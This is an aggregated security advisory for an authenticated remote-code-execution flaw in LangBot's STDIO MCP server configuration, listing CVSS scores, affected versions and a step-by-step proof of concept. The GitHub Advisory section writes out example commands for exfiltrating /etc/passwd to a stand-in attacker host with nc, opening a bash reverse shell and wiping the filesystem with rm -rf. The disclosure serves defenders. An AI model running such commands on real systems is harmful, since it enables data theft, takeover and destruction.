8.8high
LangBot: Authenticated RCE Via MCP Configuration
- Severity
- 8.8high CVSS:3.1 by GitHub_M
- Exploit likelihood
- 0.41% (higher than 37% of CVEs; EPSS, by FIRST)
- Published
- Last changed
- Assigned by
- GitHub_M
- Also known as
- GHSA-3pvh-63gf-j9mwPYSEC-2026-3473
Description
LangBot is a global IM bot platform designed for LLMs. In version 4.10.7 and earlier, any authenticated user can add or change an STDIO MCP server configuration without an adequate authorization boundary. In src/langbot/pkg/provider/tools/loaders/mcp.py, StdioServerParameters accepts the configured command and arguments and starts a server-side subprocess on the LangBot server. An attacker who can sign up or obtain an account can use the Extensions MCP configuration to execute arbitrary commands with the privileges of the LangBot service, enabling data disclosure, modification, and service disruption. No fixed version is available as of this review.
Affected
| Product or package | Versions | Reported by |
|---|---|---|
| langbot-app LangBot | <= 4.10.7 | CVE List |
| langbot (PyPI) | up to 4.10.5 | GitHub Advisory Database, PyPA Advisory Database |
All scores
| GitHub_M | 8.8high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| GitHub | 8.8high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
| PyPA Advisory Database | 8.8high CVSS:3.1 | CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H |
Classification
SSVC (CISA-ADP): exploitation none, automatable no, technical impact total.
What each source says
CVE List
LangBot is a global IM bot platform designed for LLMs. In version 4.10.7 and earlier, any authenticated user can add or change an STDIO MCP server configuration without an adequate authorization boundary. In src/langbot/pkg/provider/tools/loaders/mcp.py, StdioServerParameters accepts the configured command and arguments and starts a server-side subprocess on the LangBot server. An attacker who can sign up or obtain an account can use the Extensions MCP configuration to execute arbitrary commands with the privileges of the LangBot service, enabling data disclosure, modification, and service disruption. No fixed version is available as of this review.
GitHub Advisory Database
Summary
Any authenticated user can achieve arbitrary command execution on the LangBot servers through changing the MCP Server Configuration by added an "STDIO" MCP with an arbitrary command.
Details
The repository uses StdioServerParameters which is based on Anthropic's modelcontextprotocol open source, inside the code - src/langbot/pkg/provider/tools/loaders/mcp.py - StdioServerParameters is imported from mcp, which executes a given command which runs a subprocess on the target machine.
Since the LangBot services are authenticated, an attacker finding an open server needs to sign up or login via stolen credentials, then the attacker can use the MCP configuration to enter any arbitrary command, giving the ability to completely take over the machine.
PoC
- Open the LangBot server
- Navigate to Extensions
- Open the "MCP" tab and press "Add"
- Choose an STDIO server configuration
- Add any arbitrary command with arguments Screenshot 2026-01-19 at 15 08 43
Note that an attacker could use this configuration to enter any arbitrary command, including data exfiltration (cat /etc/passwd | nc attacker.com 4444), opening a reverse shell (bash -i >& /dev/tcp/10.0.0.1/8080 0>&1), potentially removing the whole machine's data (rm -rf / --no-preserve-root), and many more.
Impact
This is an authenticated remote code execution vulnerability (RCE), affecting any publicly available LangBot instance, and local instances when in the same network as the attacker (Lateral Movement). CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection').
Video POC
https://github.com/user-attachments/assets/4868d232-7453-442c-bffd-60f0ad4679ea
Resources
https://www.ox.security/blog/the-mother-of-all-ai-supply-chains-critical-systemic-vulnerability-at-the-core-of-the-mcp/ https://www.ox.security/blog/mcp-supply-chain-advisory-rce-vulnerabilities-across-the-ai-ecosystem/
NVD (es)
LangBot es una plataforma global de bots de mensajería instantánea (IM) diseñada para LLMs. En la versión 4.10.7 y anteriores, cualquier usuario autenticado puede añadir o cambiar una configuración de servidor STDIO MCP sin un límite de autorización adecuado. En src/langbot/pkg/provider/tools/loaders/mcp.py, StdioServerParameters acepta el comando y los argumentos configurados e inicia un subproceso del lado del servidor en el servidor de LangBot. Un atacante que puede registrarse u obtener una cuenta puede usar la configuración de Extensions MCP para ejecutar comandos arbitrarios con los privilegios del servicio LangBot, lo que permite la divulgación de datos, la modificación y la interrupción del servicio. No hay una versión fija disponible a partir de esta revisión.
References
Sources
| Source | Record | Licence |
|---|---|---|
| CVE List | CVE-2026-54449 changed 2026-08-21 | CVE Terms of Use |
| GitHub Advisory Database | GHSA-3pvh-63gf-j9mw changed 2026-07-23 | CC-BY-4.0 |
| NVD | CVE-2026-54449 changed 2026-10-18 | Public domain |
| PyPA Advisory Database | PYSEC-2026-3473 changed 2026-07-23 | CC-BY-4.0 |